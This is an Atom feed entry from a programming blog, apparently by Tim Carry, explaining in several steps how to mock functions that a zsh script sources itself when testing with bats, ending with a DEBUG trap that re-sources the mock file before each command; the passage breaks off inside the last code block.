<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Pixelastic</title>
  <link href="https://blog.pixelastic.com/atom.xml" rel="self"/>
  <link href="https://blog.pixelastic.com/"/>
  <updated>2026-11-10T00:00:00Z</updated>
  <id>https://blog.pixelastic.com/</id>
  <author>
    <name>Tim Carry</name>
  </author>
  <entry>
    <title>Mocking sourced zsh functions</title>
    <link href="https://blog.pixelastic.com/2026/11/10/mocking-sourced-zsh-functions/"/>
    <updated>2026-11-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2026/11/10/mocking-sourced-zsh-functions</id>
    <content type="html">&lt;p&gt;Lately I had to write a test for a zsh function. I wanted to mock some of the
heavy calls inside it, and it got a bit more complicated than expected. So as to
not fall into the same trap (pun intended, you&#39;ll see why shortly), I decided to
document it, for future me.&lt;/p&gt;
&lt;h2&gt;The setup&lt;/h2&gt;
&lt;p&gt;For the sake of example, imagine I have two functions in my shell (not my real
ones, but close enough).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;get-weather&lt;/code&gt; does an HTTP call to a public endpoint and prints the raw JSON
it gets back.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;get-temperature&lt;/code&gt; calls it and uses &lt;code&gt;jq&lt;/code&gt; to extract the temperature and
convert it from Fahrenheit to Celsius.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;get-temperature&lt;/code&gt; and &lt;code&gt;get-weather&lt;/code&gt; are zsh autoloaded function; this means they
are always available in my CLI, but only loaded on demand. You don&#39;t need to
know that to understand the rest of the post, but zsh autoloaded functions are
so neat I wanted to share the info.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# /usr/local/share/zsh/site-functions/get-temperature&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; fahrenheit&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;get-weather&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; jq&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .temperature&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;%.0f&#92;n&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;fahrenheit&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 9&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; )&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&#39;m using &lt;a href=&quot;https://github.com/bats-core/bats-core&quot;&gt;bats&lt;/a&gt; as the test runner, so
a naive test for &lt;code&gt;get-temperature&lt;/code&gt; would be:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-bats&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;@test&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;get Celsius temperature&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  run&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; zsh&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;get-temperature&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$output&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;21&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, this test would probably fail, as I&#39;m not fixing the output of
&lt;code&gt;get-weather&lt;/code&gt; and thus depends on real live weather data.&lt;/p&gt;
&lt;p&gt;What I really want to test is the Fahrenheit to Celsius conversion. So I want to
mock &lt;code&gt;get-weather&lt;/code&gt; so it returns a fixed temperature in Fahrenheit, so I can
assert that &lt;code&gt;get-temperature&lt;/code&gt; gives me the right Celsius value.&lt;/p&gt;
&lt;h2&gt;The naive mock&lt;/h2&gt;
&lt;p&gt;The easiest way to mock a method is to re-define a method with the exact same
name but a fixed return value. I created a dedicated &lt;code&gt;mock.zsh&lt;/code&gt; file to store
it, and sourced it before the call.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# mock.zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; get-weather&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;{&quot;temperature&quot;: 64.4}&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-bats&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;@test&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;get Celsius temperature&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  run&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; zsh&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;source ./mock.zsh; get-temperature&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$output&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;18&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;✅ This pass.&lt;/p&gt;
&lt;p&gt;The original temperature is now fixed, and my test actually tests the
conversion. Perfect!&lt;/p&gt;
&lt;h2&gt;The refactor&lt;/h2&gt;
&lt;p&gt;Later on, I realized I don&#39;t really need &lt;code&gt;get-weather&lt;/code&gt; in every shell. I only
need it in &lt;code&gt;get-temperature&lt;/code&gt;. All I need in my path is &lt;code&gt;get-temperature&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I moved &lt;code&gt;get-weather&lt;/code&gt; to a &lt;code&gt;weather.zsh&lt;/code&gt; file, and &lt;code&gt;get-temperature&lt;/code&gt; now sources
it when it runs.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# /usr/local/share/zsh/site-functions/get-temperature&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./weather.zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; fahrenheit&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;get-weather&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; jq&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .temperature&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;%.0f&#92;n&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;fahrenheit&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 9&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; )&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now &lt;code&gt;get-temperature&lt;/code&gt;, the function I want to test, loads its own dependencies.
What about the test?&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-bats&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;@test&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;get Celsius temperature&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  run&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; zsh&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;source ./mock.zsh; get-temperature&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$output&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;18&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;❌ This fails.&lt;/p&gt;
&lt;p&gt;Sure, the code is cleaner, but the tests are now broken. As &lt;code&gt;get-temperature&lt;/code&gt;
now sources &lt;code&gt;weather.zsh&lt;/code&gt; &lt;strong&gt;after&lt;/strong&gt; I mocked it, my mock is now useless.&lt;/p&gt;
&lt;p&gt;This is where I realized this is going to be a bit more complex than I
anticipated.&lt;/p&gt;
&lt;h2&gt;Attempt A: a guard in the lib&lt;/h2&gt;
&lt;p&gt;The first fix I found is to update the &lt;code&gt;weather.zsh&lt;/code&gt; to only define the real
function if it isn&#39;t already defined.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# weather.zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;whence&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; get-weather&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; get-weather&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It works, but I don&#39;t like it.&lt;/p&gt;
&lt;p&gt;It clutters my code files with instructions that are only relevant when in a
test runner. That&#39;s poor separation of responsibilities. Worse, it forces me to
keep only one function per file, if I want to be able to bail out of executing
the file early.&lt;/p&gt;
&lt;p&gt;I need a better solution.&lt;/p&gt;
&lt;h2&gt;Attempt B: mocking source()&lt;/h2&gt;
&lt;p&gt;What if I mocked &lt;code&gt;source&lt;/code&gt; itself? It would source what it is asked, &lt;strong&gt;then&lt;/strong&gt;
sources my mocks on top.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; source&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # `builtin` calls the real `source`, not my wrapper, which would loop forever.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  builtin&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; source&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  builtin&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; source&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./mock.zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;✅ It works!&lt;/p&gt;
&lt;p&gt;Surely, this is future-proof and willalways work, right?&lt;/p&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;p&gt;Right?&lt;/p&gt;
&lt;p&gt;Well, it didn&#39;t survive another refactor. Let&#39;s imagine I now want to add a
constant in &lt;code&gt;weather.zsh&lt;/code&gt; because I plan to use it in &lt;code&gt;get-temperature&lt;/code&gt; later.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# weather.zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;typeset&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; FAHRENHEIT_OFFSET&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;32&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; get-weather&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# /usr/local/share/zsh/site-functions/get-temperature&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./weather.zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; fahrenheit&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;get-weather&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; jq&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .temperature&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;%.0f&#92;n&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;fahrenheit&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; FAHRENHEIT_OFFSET&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 9&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; )&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;❌ Tests fails now.&lt;/p&gt;
&lt;p&gt;Why? Because my redefining &lt;code&gt;source&lt;/code&gt; I created a scope around &lt;code&gt;source&lt;/code&gt;, and any
variable defined in the scope stays in this scope. The builtin &lt;code&gt;source&lt;/code&gt; command
doesn&#39;t have this limitation, but my cheap wrapper does.&lt;/p&gt;
&lt;p&gt;We need another solution.&lt;/p&gt;
&lt;h2&gt;Attempt C: a DEBUG trap&lt;/h2&gt;
&lt;p&gt;The final solution, at least the one I found and am using now, is not to mock
&lt;code&gt;source&lt;/code&gt; but to use a zsh feature called a debug trap.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;DEBUG&lt;/code&gt; trap is a piece of code that zsh runs before each command:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Let&#39;s define a DEBUG trap&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;trap&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;echo debug&#39;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; DEBUG&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Now execute some commands&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; one&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; two&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output would be:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;debug&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;one&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;debug&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;two&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code passed to the debug trap would get executed before each command. It
means in my case I could force zsh to reload my mocks before &lt;strong&gt;every&lt;/strong&gt; command
like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;trap&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;source ./mock.zsh&#39;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; DEBUG&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That way, no matter how many times the function under test &lt;code&gt;source&lt;/code&gt;s another
file, I will &lt;strong&gt;always&lt;/strong&gt; source my mocks right before executing any command.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-bats&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;@test&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;get Celsius temperature&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  run&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; zsh&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;trap &quot;builtin source ./mock.zsh&quot; DEBUG; get-temperature&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$output&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;18&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;/span&gt;
